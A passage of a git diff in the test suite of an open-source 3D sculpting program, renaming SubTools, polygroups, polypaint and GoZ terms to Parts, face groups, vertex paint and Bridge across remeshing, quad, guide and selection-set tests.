assert doc.mask.shape == (642,) and str(doc.mask.dtype) == "float32" and doc.colors.shape == (642, 3)
-assert doc.polygroups.shape == (1280,) and str(doc.polygroups.dtype) == "uint32"
+assert doc.facegroups.shape == (1280,) and str(doc.facegroups.dtype) == "uint32"
sf.run(doc, "subdivide")
-assert doc.mask.shape == (doc.vertices.shape[0],) and doc.polygroups.shape == (doc.triangles.shape[0],)
+assert doc.mask.shape == (doc.vertices.shape[0],) and doc.facegroups.shape == (doc.triangles.shape[0],)
try:
doc.mask = [0.0, 1.0]
raise AssertionError("expected ValueError")
@@ -48,15 +48,15 @@ try:
except sf.CommandError:
pass
-# SubTools: the mesh properties follow the active one; exports write every visible one.
+# Parts: the mesh properties follow the active one; exports write every visible one.
sf.run(doc, "new_sphere", subdivisions=2)
-sf.run(doc, "subtool_append", type="cube", name="Box")
-assert [s["name"] for s in doc.subtools] == ["Sphere", "Box"] and doc.active_subtool == 1
+sf.run(doc, "part_append", type="cube", name="Box")
+assert [s["name"] for s in doc.parts] == ["Sphere", "Box"] and doc.active_part == 1
box_tris = doc.triangles.shape[0]
-doc.active_subtool = "Sphere"
-assert doc.active_subtool == 0 and doc.triangles.shape[0] == 320 and doc.subtools[1]["triangles"] == box_tris
+doc.active_part = "Sphere"
+assert doc.active_part == 0 and doc.triangles.shape[0] == 320 and doc.parts[1]["triangles"] == box_tris
try:
- doc.active_subtool = 5
+ doc.active_part = 5
raise AssertionError("expected IndexError")
except IndexError:
pass
@@ -65,11 +65,11 @@ with tempfile.TemporaryDirectory() as d:
sf.run(doc, "save_obj", path=out)
back = sf.Document()
sf.run(back, "open", path=out)
- assert [s["name"] for s in back.subtools] == ["Sphere", "Box"], back.subtools
+ assert [s["name"] for s in back.parts] == ["Sphere", "Box"], back.parts
-# UVs from a script (the UV Editor's commands): unwrap the box by its polygroups, pack it across two UDIM tiles.
-doc.active_subtool = "Box"
-assert "seam edges" in sf.run(doc, "uv_seam", op="polygroups")
+# UVs from a script (the UV Editor's commands): unwrap the box by its face groups, pack it across two UDIM tiles.
+doc.active_part = "Box"
+assert "seam edges" in sf.run(doc, "uv_seam", op="facegroups")
assert "6 islands" in sf.run(doc, "uv_unwrap", method="isometric")
assert "UDIM tiles" in sf.run(doc, "uv_pack", tiles=2, margin=4, rotate=False) or True
info = sf.run(doc, "uv_info")
diff --git a/tests/test_qremesh2.cpp b/tests/test_qremesh2.cpp
index b0bbcaa5..113b715c 100644
--- a/tests/test_qremesh2.cpp
+++ b/tests/test_qremesh2.cpp
@@ -208,7 +208,7 @@ TEST(qremesh2_hard_edges_and_groups) {
CommandRegistry reg;
Document doc;
doc.setMesh(makeCube(24));
- CHECK(reg.execute(doc, "polygroup_auto_by_normals", {{"angle", 40.0}}).ok);
+ CHECK(reg.execute(doc, "facegroup_auto_by_normals", {{"angle", 40.0}}).ok);
QRemeshOptions o;
o.targetQuads = 1200;
o.keepGroups = true;
@@ -217,8 +217,8 @@ TEST(qremesh2_hard_edges_and_groups) {
std::string err;
QRemeshStats st;
CHECK(qremesh(doc.mesh, o, out, err, {}, &st));
- CHECK(out.hasPolygroups());
- for (size_t t = 0; t + 1 < out.triangleCount(); t += 2) CHECK(out.polygroups[t] == out.polygroups[t + 1]);
+ CHECK(out.hasFaceGroups());
+ for (size_t t = 0; t + 1 < out.triangleCount(); t += 2) CHECK(out.facegroups[t] == out.facegroups[t + 1]);
CHECK(st.quality.poles == 8); // a cube: one valence-3 pole per corner
}
@@ -233,7 +233,7 @@ TEST(qremesh2_command_method_and_report) {
CHECK(reg.execute(doc, "undo", {}).ok);
r = reg.execute(doc, "qremesh", {{"target", 800.0}, {"method", std::string("legacy")}});
CHECK(r.ok && r.message.find("legacy method") != std::string::npos);
- CHECK(!reg.execute(doc, "qremesh", {{"method", std::string("zremesher")}}).ok);
+ CHECK(!reg.execute(doc, "qremesh", {{"method", std::string("unknown")}}).ok);
r = reg.execute(doc, "qremesh", {{"target", 500.0}, {"quality", false}});
CHECK(r.ok && r.message.find("Quality") == std::string::npos);
}
@@ -256,7 +256,7 @@ TEST(qremesh2_benchmark) {
}
{
Document doc;
- if (reg.execute(doc, "new_head", {}).ok) models.push_back({"head", doc.subtoolMesh(0), 0});
+ if (reg.execute(doc, "new_head", {}).ok) models.push_back({"head", doc.partMesh(0), 0});
}
models.push_back({"creature", creature(), 0});
models.push_back({"hardsurface", hardSurface(), -1});
diff --git a/tests/test_qremesh_guides.cpp b/tests/test_qremesh_guides.cpp
index 84efc507..62ccc499 100644
--- a/tests/test_qremesh_guides.cpp
+++ b/tests/test_qremesh_guides.cpp
@@ -1,9 +1,9 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// QRemesh Guides (ZBrush's ZRemesher Guides): a curve drawn round an "eye" on a sphere gets a closed edge loop
+// QRemesh Guides (QRemesh Guides): a curve drawn round an "eye" on a sphere gets a closed edge loop
// along it, and the edges near the curve line up with its tangent much better than without the guide; drawing
-// (snapping, closing, mirroring), Delete Last / Clear, commands, SubTool swaps and project round trips.
+// (snapping, closing, mirroring), Delete Last / Clear, commands, Part swaps and project round trips.
#include "TestHarness.h"
#include "core/Commands.h"
@@ -173,18 +173,18 @@ GuideFit measureFit(const Mesh& m, glm::vec3 c, float angle) {
}
// SF_GUIDE_DEBUG=dir: saves `m` as dir/name.obj with the faces just outside each circle that have an edge on it
-// in polygroup 1 (a clean band when the loop is clean), for renders with --polygroups --wireframe.
+// in face group 1 (a clean band when the loop is clean), for renders with --face groups --wireframe.
void debugDump(const char* name, const Mesh& m, std::vector<glm::vec3> eyes, float angle) {
const char* dir = std::getenv("SF_GUIDE_DEBUG");
if (!dir) return;
Mesh copy = m;
- copy.ensurePolygroups();
+ copy.ensureFaceGroups();
const float edge = std::sqrt(4.0f * kPi / float(std::max<size_t>(m.quadCount(), 1)));
for (uint32_t t = 0; t < copy.triangleCount(); ++t) {
glm::uvec4 f;
const uint32_t u = copy.quadPartnerAt(t);
const int n = copy.exportFace(u == Mesh::kNoQuad ? t : std::min(t, u), f);
- copy.polygroups[t] = 0;
+ copy.facegroups[t] = 0;
for (const glm::vec3& eye : eyes) {
const glm::vec3 c = glm::normalize(eye);
int on = 0;
@@ -196,7 +196,7 @@ void debugDump(const char* name, const Mesh& m, std::vector<glm::vec3> eyes, flo
on += std::abs(std::acos(std::clamp(glm::dot(p, c), -1.0f, 1.0f)) - angle) < 0.2f * edge;
}
const bool outside = std::acos(std::clamp(glm::dot(glm::normalize(centre), c), -1.0f, 1.0f)) > angle;
- if (on >= 2 && outside) copy.polygroups[t] = 1;
+ if (on >= 2 && outside) copy.facegroups[t] = 1;
}
}
std::string err;
@@ -410,30 +410,30 @@ TEST(qremesh_guide_drawing_and_commands) {
CHECK(!reg.execute(doc, "qremesh_guides_clear").ok);
}
-TEST(qremesh_guide_command_subtools_and_projects) {
+TEST(qremesh_guide_command_parts_and_projects) {
CommandRegistry reg;
Document doc;
reg.execute(doc, "new_sphere", {{"subdivisions", 5.0}});
CHECK(reg.execute(doc, "qremesh_guide", {{"points", std::string("0.2,0,2 0.4,0.2,2 0.6,0,2 0.4,-0.2,2 0.2,0,2")},
{"view", std::string("0,0,-1")}}).ok);
const std::vector<QRemeshGuide> drawn = doc.qremeshGuides;
- // Per SubTool: a new SubTool has none, going back brings them back.
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("cube")}}).ok);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 1);
+ // Per Part: a new Part has none, going back brings them back.
+ CHECK(reg.execute(doc, "part_append", {{"type", std::string("cube")}}).ok);
+ CHECK(doc.partCount() == 2 && doc.activePart == 1);
CHECK(doc.qremeshGuides.empty());
- doc.selectSubtool(0);
+ doc.selectPart(0);
CHECK(doc.qremeshGuides.size() == drawn.size() && doc.qremeshGuides[0].points == drawn[0].points);
- // Projects keep them, per SubTool, exactly.
+ // Projects keep them, per Part, exactly.
const std::string path = (std::filesystem::temp_directory_path() / "sf_test_guides.sfproj").string();
std::string err;
- doc.selectSubtool(1);
- CHECK(saveProject(path, doc, err)); // the guided SubTool inactive while saving
+ doc.selectPart(1);
+ CHECK(saveProject(path, doc, err)); // the guided Part inactive while saving
Document loaded;
CHECK(loadProject(path, loaded, err));
std::filesystem::remove(path);
- CHECK(loaded.activeSubtool == 1 && loaded.qremeshGuides.empty());
- loaded.selectSubtool(0);
+ CHECK(loaded.activePart == 1 && loaded.qremeshGuides.empty());
+ loaded.selectPart(0);
CHECK(loaded.qremeshGuides.size() == 1);
CHECK(loaded.qremeshGuides[0].closed == drawn[0].closed && loaded.qremeshGuides[0].stroke == drawn[0].stroke);
CHECK(loaded.qremeshGuides[0].points.size() == drawn[0].points.size());
@@ -448,13 +448,13 @@ TEST(qremesh_guide_command_subtools_and_projects) {
CHECK(parsed.size() == 1 && parsed[0].closed && parsed[0].points.size() == 3);
// The qremesh command follows them, keeps them for the original, and can ignore them.
- doc.selectSubtool(0);
+ doc.selectPart(0);
CommandResult r = reg.execute(doc, "qremesh", {{"target", 1500.0}, {"keep_original", true}});
CHECK(r.ok);
std::printf(" %s\n", r.message.c_str());
CHECK(r.message.find("followed 1 guide") != std::string::npos);
CHECK(doc.qremeshGuides.size() == 1);
- CHECK(doc.subtools[size_t(doc.activeSubtool + 1)].qremeshGuides.size() == 1);
+ CHECK(doc.parts[size_t(doc.activePart + 1)].qremeshGuides.size() == 1);
r = reg.execute(doc, "qremesh", {{"target", 1500.0}, {"guides", false}});
CHECK(r.ok && r.message.find("guide") == std::string::npos);
// Guides left behind by a move are ignored, with a note.
diff --git a/tests/test_quads.cpp b/tests/test_quads.cpp
index bcb7c4b1..db938cb1 100644
--- a/tests/test_quads.cpp
+++ b/tests/test_quads.cpp
@@ -2,20 +2,21 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Quads: imported quads stay paired (Mesh::quadPartners) through sculpting,
-// undo, sculpt layers, SubTools, projects and subdivision, are written back as
-// quads (OBJ, FBX, PLY, USD, GoZ), and topology rebuilds (remesh, decimate,
+// undo, sculpt layers, Parts, projects and subdivision, are written back as
+// quads (OBJ, FBX, PLY, USD, Bridge), and topology rebuilds (remesh, decimate,
// deleting part of a quad, edits that break a pair) never leave a stale pair.
#include "TestHarness.h"
#include "core/Commands.h"
#include "core/Decimate.h"
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/Primitives.h"
#include "core/Project.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "core/Voxel.h"
#include "io/FbxIO.h"
-#include "io/GozIO.h"
+#include "io/BridgeIO.h"
+#include "io/BridgeProtocol.h"
#include "io/ObjIO.h"
#include "io/PlyIO.h"
#include "io/UsdIO.h"
@@ -57,7 +58,7 @@ std::map<int, size_t> objFaceSizes(const std::string& text) {
return sizes;
}
-// A closed cube of n x n quads per side (welded, wound outwards), as ZBrush or Blender would write it.
+// A closed cube of n x n quads per side (welded, wound outwards) or Blender would write it.
std::string quadCubeObj(int n) {
std::map<std::tuple<int, int, int>, int> index;
std::string verts, faces;
@@ -234,7 +235,7 @@ TEST(quads_subdivision_makes_quads_and_keeps_triangles) {
TEST(quads_topology_rebuilds_drop_or_remake_pairs) {
const Mesh cube = loadQuadCube(6);
- // Voxel remesh: none of the old pairs survive; the new surface is quads of its own (like DynaMesh).
+ // Voxel remesh: none of the old pairs survive; the new surface is quads of its own (like voxel remesh).
const Mesh r = voxelRemesh(cube, 32);
CHECK(r.triangleCount() > 0 && pairsValid(r));
CHECK(r.quadCount() * 2 == r.triangleCount());
@@ -252,11 +253,11 @@ TEST(quads_topology_rebuilds_drop_or_remake_pairs) {
CHECK(kept.triangleCount() == cube.triangleCount() - 3);
CHECK(pairsValid(kept) && kept.quadCount() == cube.quadCount() - 2);
- // Splitting by polygroups and merging SubTools keep pairs (with shifted triangle ids).
+ // Splitting by face groups and merging Parts keep pairs (with shifted triangle ids).
Mesh grouped = cube;
- grouped.ensurePolygroups();
- for (uint32_t t = 0; t < grouped.triangleCount(); ++t) grouped.polygroups[t] = t < grouped.triangleCount() / 2 ? 1 : 2;
- const auto parts = splitByPolygroups(grouped);
+ grouped.ensureFaceGroups();
+ for (uint32_t t = 0; t < grouped.triangleCount(); ++t) grouped.facegroups[t] = t < grouped.triangleCount() / 2 ? 1 : 2;
+ const auto parts = splitByFaceGroups(grouped);
CHECK(parts.size() == 2);
size_t quads = 0;
for (const auto& part : parts) {
@@ -270,11 +271,11 @@ TEST(quads_topology_rebuilds_drop_or_remake_pairs) {
CHECK(merged.quadPartnerAt(0) == Mesh::kNoQuad);
}
-TEST(quads_split_between_polygroups_show_and_export_as_triangles) {
+TEST(quads_split_between_facegroups_show_and_export_as_triangles) {
Mesh m = loadQuadCube(1);
- m.ensurePolygroups(1);
+ m.ensureFaceGroups(1);
const uint32_t partner = m.quadPartnerAt(0);
- m.polygroups[partner] = 2;
+ m.facegroups[partner] = 2;
CHECK(m.quadPartnerAt(0) == Mesh::kNoQuad && m.quadCount() == 5);
std::string err;
const std::string path = tempPath("sf_quads_groups.obj");
@@ -285,17 +286,17 @@ TEST(quads_split_between_polygroups_show_and_export_as_triangles) {
TEST(quads_project_round_trip) {
Document doc = makeDoc(loadQuadCube(3));
- doc.addSubtool(makeIcosphere(1), "Ball", false);
+ doc.addPart(makeIcosphere(1), "Ball", false);
const std::string path = tempPath("sf_quads.sfproj");
std::string err;
CHECK(saveProject(path, doc, err));
Document back;
CHECK(loadProject(path, back, err));
CHECK(back.mesh.quadPartners == doc.mesh.quadPartners && back.mesh.quadCount() == 54);
- CHECK(!back.subtoolMesh(1).hasQuads());
+ CHECK(!back.partMesh(1).hasQuads());
}
-TEST(quads_round_trip_through_fbx_ply_usd_goz) {
+TEST(quads_round_trip_through_fbx_ply_usd_bridge) {
const Mesh cube = loadQuadCube(3);
const size_t quads = cube.quadCount();
std::string err;
@@ -321,11 +322,11 @@ TEST(quads_round_trip_through_fbx_ply_usd_goz) {
CHECK(loadUsd(usd, u, splats, err));
CHECK(u.quadCount() == quads);
- const std::string goz = tempPath("sf_quads.GoZ");
- CHECK(saveGoz(goz, cube, "Cube", err));
+ const std::string bridge = tempPath((std::string("sf_quads") + bridgefile::kExt).c_str());
+ CHECK(saveBridge(bridge, cube, "Cube", err));
Mesh g;
- GozInfo info;
- CHECK(loadGoz(goz, g, err, &info));
+ BridgeInfo info;
+ CHECK(loadBridge(bridge, g, err, &info));
CHECK(info.quads == quads && info.triangles == 0);
CHECK(g.quadCount() == quads && g.triangles == cube.triangles);
}
diff --git a/tests/test_radial_symmetry.cpp b/tests/test_radial_symmetry.cpp
index bef67be0..7897a5ab 100644
--- a/tests/test_radial_symmetry.cpp
+++ b/tests/test_radial_symmetry.cpp
@@ -8,7 +8,7 @@
#include "core/Commands.h"
#include "core/Masking.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include <algorithm>
diff --git a/tests/test_retopo.cpp b/tests/test_retopo.cpp
index 57d993be..9e829d7d 100644
--- a/tests/test_retopo.cpp
+++ b/tests/test_retopo.cpp
@@ -3,7 +3,7 @@
//
// QRemesh (quad retopology) and ProjectAll (detail projection): the result is a closed 2-manifold made of
// quads, near the target count and the sculpt's surface (Hausdorff distance); Keep Groups, symmetry, open
-// surfaces, polypaint density, mask / colour transfer, cancel; projecting detail back onto a divided retopo
+// surfaces, vertex paint density, mask / colour transfer, cancel; projecting detail back onto a divided retopo
// brings the error down and respects the mask; both commands are one undo step.
// SF_RETOPO_BENCH=1 also times both on a 1M+ triangle sculpt.
#include "TestHarness.h"
@@ -97,7 +97,7 @@ TEST(qremesh_keep_groups_follows_borders) {
CommandRegistry reg;
Document doc;
doc.setMesh(makeCube(24));
- CHECK(reg.execute(doc, "polygroup_auto_by_normals", {{"angle", 40.0}}).ok);
+ CHECK(reg.execute(doc, "facegroup_auto_by_normals", {{"angle", 40.0}}).ok);
QRemeshOptions o;
o.targetQuads = 1500;
o.keepGroups = true;
@@ -107,10 +107,10 @@ TEST(qremesh_keep_groups_follows_borders) {
CHECK(qremesh(doc.mesh, o, out, err));
checkQuadMesh(out, true, "cube, Keep Groups");
// Six groups, each quad entirely in one (halves agree), and the cube's sharp edges kept.
- CHECK(out.hasPolygroups());
- std::set<uint32_t> groups(out.polygroups.begin(), out.polygroups.end());
+ CHECK(out.hasFaceGroups());
+ std::set<uint32_t> groups(out.facegroups.begin(), out.facegroups.end());
CHECK(groups.size() == 6);
- for (size_t t = 0; t + 1 < out.triangleCount(); t += 2) CHECK(out.polygroups[t] == out.polygroups[t + 1]);
+ for (size_t t = 0; t + 1 < out.triangleCount(); t += 2) CHECK(out.facegroups[t] == out.facegroups[t + 1]);
const SurfaceDeviation d = measureDeviation(out, doc.mesh);
std::printf(" cube with Keep Groups: Hausdorff %.3f%% of the size\n", 100.0f * d.max / diagonal(doc.mesh));
CHECK(d.max < 0.005f * diagonal(doc.mesh));
@@ -168,7 +168,7 @@ TEST(qremesh_open_surface_keeps_its_outline) {
CHECK(glm::length(a.max - b.max) < 0.01f * diagonal(doc.mesh));
}
-TEST(qremesh_transfers_mask_and_polypaint) {
+TEST(qremesh_transfers_mask_and_vertexpaint) {
CommandRegistry reg;
Document doc;
reg.execute(doc, "new_sphere", {{"subdivisions", 5.0}});
@@ -194,7 +194,7 @@ TEST(qremesh_transfers_mask_and_polypaint) {
CHECK(wrong == 0);
}
-TEST(qremesh_polypaint_density) {
+TEST(qremesh_vertexpaint_density) {
CommandRegistry reg;
Document doc;
reg.execute(doc, "new_sphere", {{"subdivisions", 5.0}});
@@ -204,11 +204,11 @@ TEST(qremesh_polypaint_density) {
QRemeshOptions o;
o.targetQuads = 2000;
o.adaptive = 0.0f;
- o.usePolypaint = true;
+ o.useVertexPaint = true;
Mesh out;
std::string err;
CHECK(qremesh(m, o, out, err));
- checkQuadMesh(out, true, "sphere, polypaint density");
+ checkQuadMesh(out, true, "sphere, vertexpaint density");
size_t top = 0, bottom = 0;
for (size_t t = 0; t < out.triangleCount(); t += 2) {
const glm::uvec3 tri = out.triangles[t];
@@ -261,11 +261,11 @@ TEST(qremesh_command_keeps_original_and_undoes) {
const CommandResult r = reg.execute(doc, "qremesh", {{"target", 1200.0}, {"keep_original", true}, {"adaptive", 0.3}});
CHECK(r.ok);
CHECK(r.message.find("quads") != std::string::npos);
- CHECK(doc.subtoolCount() == 2);
- CHECK(doc.activeSubtool == 0);
- CHECK(!doc.subtools[1].visible);
- CHECK(doc.subtools[1].name == doc.subtools[0].name + " Original");
- CHECK(doc.subtoolMesh(1).triangleCount() == before);
+ CHECK(doc.partCount() == 2);
+ CHECK(doc.activePart == 0);
+ CHECK(!doc.parts[1].visible);
+ CHECK(doc.parts[1].name == doc.parts[0].name + " Original");
+ CHECK(doc.partMesh(1).triangleCount() == before);
CHECK(doc.mesh.quadCount() * 2 == doc.mesh.triangleCount());
CHECK(doc.undo.canUndo());
CHECK(doc.undo.undo(doc.mesh, doc.bvh));
@@ -277,14 +277,14 @@ TEST(qremesh_command_keeps_original_and_undoes) {
TEST(project_all_brings_detail_back) {
CommandRegistry reg;
Document doc = sculptedSphere(6);
- doc.subtools[0].name = "Sculpt";
- // Paint the source so polypaint comes across too.
+ doc.parts[0].name = "Sculpt";
+ // Paint the source so vertex paint comes across too.
doc.mesh.ensureColors();
for (uint32_t v = 0; v < doc.mesh.vertexCount(); ++v)
doc.mesh.colors[v] = doc.mesh.positions[v].y > 0.0f ? glm::vec3(0.8f, 0.1f, 0.1f) : glm::vec3(0.1f, 0.2f, 0.8f);
const Mesh source = doc.mesh;
// Retopo a copy, divide it twice, then project from the original.
- doc.addSubtool(doc.mesh, "Retopo");
+ doc.addPart(doc.mesh, "Retopo");
CHECK(reg.execute(doc, "qremesh", {{"target", 2000.0}}).ok);
CHECK(reg.execute(doc, "subdivide", {{"levels", 2.0}}).ok);
const Mesh divided = doc.mesh;
@@ -316,14 +316,14 @@ TEST(project_all_brings_detail_back) {
TEST(project_all_respects_mask_and_options) {
CommandRegistry reg;
Document doc = sculptedSphere(5);
- doc.addSubtool(doc.mesh, "Retopo");
+ doc.addPart(doc.mesh, "Retopo");
CHECK(reg.execute(doc, "qremesh", {{"target", 1500.0}}).ok);
CHECK(reg.execute(doc, "subdivide", {}).ok);
const Mesh divided = doc.mesh;
// Mask the top half: it must not move.
doc.mesh.ensureMask();
for (uint32_t v = 0; v < doc.mesh.vertexCount(); ++v) doc.mesh.mask[v] = doc.mesh.positions[v].y > 0.0f ? 1.0f : 0.0f;
- CHECK(reg.execute(doc, "project_all", {{"polypaint", false}}).ok);
+ CHECK(reg.execute(doc, "project_all", {{"vertexpaint", false}}).ok);
size_t movedMasked = 0, movedFree = 0;
for (uint32_t v = 0; v < doc.mesh.vertexCount(); ++v) {
const bool moved = doc.mesh.positions[v] != divided.positions[v];
@@ -339,11 +339,11 @@ TEST(project_all_respects_mask_and_options) {
std::string err;
ProjectOptions o;
o.geometry = false;
- std::vector<const Mesh*> sources{&doc.subtoolMesh(0)};
+ std::vector<const Mesh*> sources{&doc.partMesh(0)};
CHECK(computeProjection(divided, sources, o, positions, nullptr, st, err));
CHECK(positions == divided.positions);
// Nothing visible to project from.
- doc.subtools[0].visible = false;
+ doc.parts[0].visible = false;
CHECK(!reg.execute(doc, "project_all", {}).ok);
}
@@ -365,7 +365,7 @@ TEST(retopo_bench_1m_triangles) {
100.0f * t.quadFraction(), int(t.manifold()), st.seconds);
}
// ProjectAll onto a 1.3M-triangle target from the 1.3M-triangle sculpt.
- doc.addSubtool(doc.mesh, "Retopo");
+ doc.addPart(doc.mesh, "Retopo");
CHECK(reg.execute(doc, "qremesh", {{"target", 5000.0}}).ok);
CHECK(reg.execute(doc, "subdivide", {{"levels", 4.0}}).ok);
const auto t0 = std::chrono::steady_clock::now();
diff --git a/tests/test_sculptable.cpp b/tests/test_sculptable.cpp
index 13d0b825..60c100e7 100644
--- a/tests/test_sculptable.cpp
+++ b/tests/test_sculptable.cpp
@@ -310,9 +310,9 @@ TEST(sculptable_command_head) {
const CommandResult r = reg.execute(d, "splat_to_mesh", {{"detail", 128.0}, {"target", 2500.0}});
std::printf(" %s\n", r.message.c_str());
CHECK(r.ok);
- CHECK(d.subtoolCount() == 3); // the starting sphere (hidden), the scan (hidden), the result
- CHECK(d.activeSubtool == 2 && d.activeSubtoolInfo().name == "Test Head");
- CHECK(!d.subtools[0].visible && !d.subtools[1].visible && d.subtools[1].name == "Test Head Scan");
+ CHECK(d.partCount() == 3); // the starting sphere (hidden), the scan (hidden), the result
+ CHECK(d.activePart == 2 && d.activePartInfo().name == "Test Head");
+ CHECK(!d.parts[0].visible && !d.parts[1].visible && d.parts[1].name == "Test Head Scan");
const TopologyReport t = topologyReport(d.mesh);
CHECK(t.manifold() && t.boundaryEdges == 0 && t.quadFraction() > 0.97f);
CHECK(t.faces > 1500 && t.faces < 4000);
@@ -338,7 +338,7 @@ TEST(sculptable_stages_and_landmarks) {
CHECK(reg.execute(d, "splat_test_capture", {{"count", 100000.0}}).ok);
const CommandResult scan = reg.execute(d, "splat_to_mesh", {{"detail", 112.0}, {"stage", std::string("scan")}, {"target", 2500.0}});
CHECK(scan.ok && scan.message.find("landmarks {") != std::string::npos);
- CHECK(d.activeSubtoolInfo().name == "Test Head Scan" && d.mesh.hasColors() && !d.qremeshGuides.empty());
+ CHECK(d.activePartInfo().name == "Test Head Scan" && d.mesh.hasColors() && !d.qremeshGuides.empty());
// Nudge: face_guides with landmarks moved, then finish.
const std::string json = scan.message.substr(scan.message.find('{'));
FaceLandmarks lm;
@@ -352,8 +352,8 @@ TEST(sculptable_stages_and_landmarks) {
CHECK(guides >= 4);
const CommandResult fin = reg.execute(d, "splat_to_mesh", {{"stage", std::string("finish")}, {"target", 2500.0}});
CHECK(fin.ok);
- CHECK(d.activeSubtoolInfo().name == "Test Head" && d.qremeshGuides.size() == guides);
- CHECK(!d.subtools[size_t(d.findSubtool("Test Head Scan"))].visible);
+ CHECK(d.activePartInfo().name == "Test Head" && d.qremeshGuides.size() == guides);
+ CHECK(!d.parts[size_t(d.findPart("Test Head Scan"))].visible);
CHECK(topologyReport(d.mesh).quadFraction() > 0.97f && d.mesh.hasColors());
// Bad arguments.
CHECK(!reg.execute(d, "splat_to_mesh", {{"preset", std::string("huge")}}).ok);
@@ -386,7 +386,7 @@ TEST(sculptable_texture_and_levels) {
std::printf(" handle samples %zu, orange %zu\n", handle, orange);
CHECK(handle > 10 && orange * 10 >= handle * 8);
// The top level follows the scan: no vertex further than 2 voxels from it.
- const Mesh& scan = d.subtoolMesh(d.findSubtool("Test Mug Scan"));
+ const Mesh& scan = d.partMesh(d.findPart("Test Mug Scan"));
BVH bvh;
bvh.build(scan);
std::vector<uint32_t> found;
diff --git a/tests/test_selection_sets.cpp b/tests/test_selection_sets.cpp
index f4003180..7e83b535 100644
--- a/tests/test_selection_sets.cpp
+++ b/tests/test_selection_sets.cpp
@@ -45,11 +45,11 @@ void paintState(Mesh& m, float cut = 0.0f, bool soft = false) {
m.ensureMask();
for (size_t v = 0; v < m.vertexCount(); ++v) m.mask[v] = m.positions[v].y > cut ? (soft ? 0.5f : 1.0f) : 0.0f;
m.ensureHidden();
- m.ensurePolygroups();
+ m.ensureFaceGroups();
for (size_t t = 0; t < m.triangleCount(); ++t) {
const glm::vec3 c = (m.positions[m.triangles[t].x] + m.positions[m.triangles[t].y] + m.positions[m.triangles[t].z]) / 3.0f;
m.hidden[t] = c.x < 0.0f;
- m.polygroups[t] = c.z > 0.0f ? 7u : 3u;
+ m.facegroups[t] = c.z > 0.0f ? 7u : 3u;
}
m.ensureColors();
for (size_t v = 0; v < m.vertexCount(); ++v)
@@ -75,10 +75,10 @@ TEST(selection_sets_store_restore_undo) {
Document d = makeDoc(makeIcosphere(4));
paintState(d.mesh);
const Mesh before = d.mesh;
- CHECK(run(d, "selection_set_store", {{"name", "Head"}, {"channels", "mask,polygroups,paint,visibility"}}).ok);
+ CHECK(run(d, "selection_set_store", {{"name", "Head"}, {"channels", "mask,facegroups,paint,visibility"}}).ok);
CHECK(setCount(d.mesh) == 1);
const SelectionSet* s = setNamed(d.mesh, "Head");
- CHECK(s && s->has(kSetMask) && s->has(kSetPaint) && s->has(kSetVisibility) && s->has(kSetPolygroups) && !s->has(kSetMorph));
+ CHECK(s && s->has(kSetMask) && s->has(kSetPaint) && s->has(kSetVisibility) && s->has(kSetFaceGroups) && !s->has(kSetMorph));
// Compact: a binary mask on half a sphere is a few runs and no values; groups are run-length coded.
CHECK(s && s->maskValues.empty() && s->maskRuns.size() < s->vertexCount / 4);
CHECK(s && s->groupRuns.size() < s->triangleCount / 2);
@@ -87,12 +87,12 @@ TEST(selection_sets_store_restore_undo) {
// Change everything, then restore: back exactly; one undo step brings the changes back.
d.mesh.clearMask();
d.mesh.clearHidden();
- d.mesh.clearPolygroups();
+ d.mesh.clearFaceGroups();
d.mesh.clearColors();
CHECK(run(d, "selection_set_restore", {{"name", "Head"}}).ok);
CHECK(d.mesh.mask == before.mask);
CHECK(d.mesh.hidden == before.hidden);
- CHECK(d.mesh.polygroups == before.polygroups);
+ CHECK(d.mesh.facegroups == before.facegroups);
CHECK(d.mesh.colors == before.colors);
CHECK(run(d, "undo").ok);
CHECK(!d.mesh.hasMask() || std::all_of(d.mesh.mask.begin(), d.mesh.mask.end(), [](float v) { return v == 0.0f; }));
@@ -161,7 +161,7 @@ TEST(selection_sets_pack_roundtrip_and_damage) {
decodeSelectionSet(s, kSetAllChannels, a);
decodeSelectionSet(back, kSetAllChannels, b);
CHECK(back.name == "All" && back.channels == s.channels);
- CHECK(a.mask == b.mask && a.polygroups == b.polygroups && a.colors == b.colors && a.hidden == b.hidden);
+ CHECK(a.mask == b.mask && a.facegroups == b.facegroups && a.colors == b.colors && a.hidden == b.hidden);
CHECK(a.uvs == b.uvs && a.positions == b.positions);
CHECK(a.mask == m.mask && a.hidden == m.hidden && a.positions == m.positions);
// Every truncation is refused, never read past the end.
@@ -236,7 +236,7 @@ TEST(selection_sets_across_levels) {
m.ensureMask();
for (size_t v = 0; v < m.vertexCount(); ++v) m.mask[v] = m.positions[v].y > 0.2f ? 1.0f : 0.0f;
m.markAllDirty();
- CHECK(run(d, "selection_set_store", {{"name", "Top mask"}, {"channels", "mask,polygroups,visibility"}}).ok);
+ CHECK(run(d, "selection_set_store", {{"name", "Top mask"}, {"channels", "mask,facegroups,visibility"}}).ok);
CHECK(run(d, "subdiv_level", {{"level", 1.0}}).ok);
const std::vector<float> reference = d.mesh.mask; // what the levels made of it
CHECK(!reference.empty());
@@ -353,23 +353,23 @@ TEST(selection_sets_project_roundtrip) {
CHECK(run(d, "selection_set_morph_target", {{"name", "Everything"}}).ok);
const Mesh saved = d.mesh;
// A second Part with its own set.
- d.addSubtool(makeCube(2), "Box");
+ d.addPart(makeCube(2), "Box");
CHECK(run(d, "selection_set_from_visible", {{"name", "Box visible"}}).ok);
const std::string path = tempPath("sf_selection_sets.sfproj");
std::string err;
CHECK(saveProject(path, d, err));
Document back;
CHECK(loadProject(path, back, err));
- CHECK(back.subtoolCount() == 2);
- back.selectSubtool(0);
+ CHECK(back.partCount() == 2);
+ back.selectPart(0);
CHECK(setCount(back.mesh) == 2);
CHECK(back.mesh.selectionSets && back.mesh.selectionSets->morphTarget == "Everything");
SelectionSetData a, b;
decodeSelectionSet(*setNamed(saved, "Everything"), kSetAllChannels, a);
decodeSelectionSet(*setNamed(back.mesh, "Everything"), kSetAllChannels, b);
- CHECK(a.mask == b.mask && a.colors == b.colors && a.hidden == b.hidden && a.polygroups == b.polygroups &&
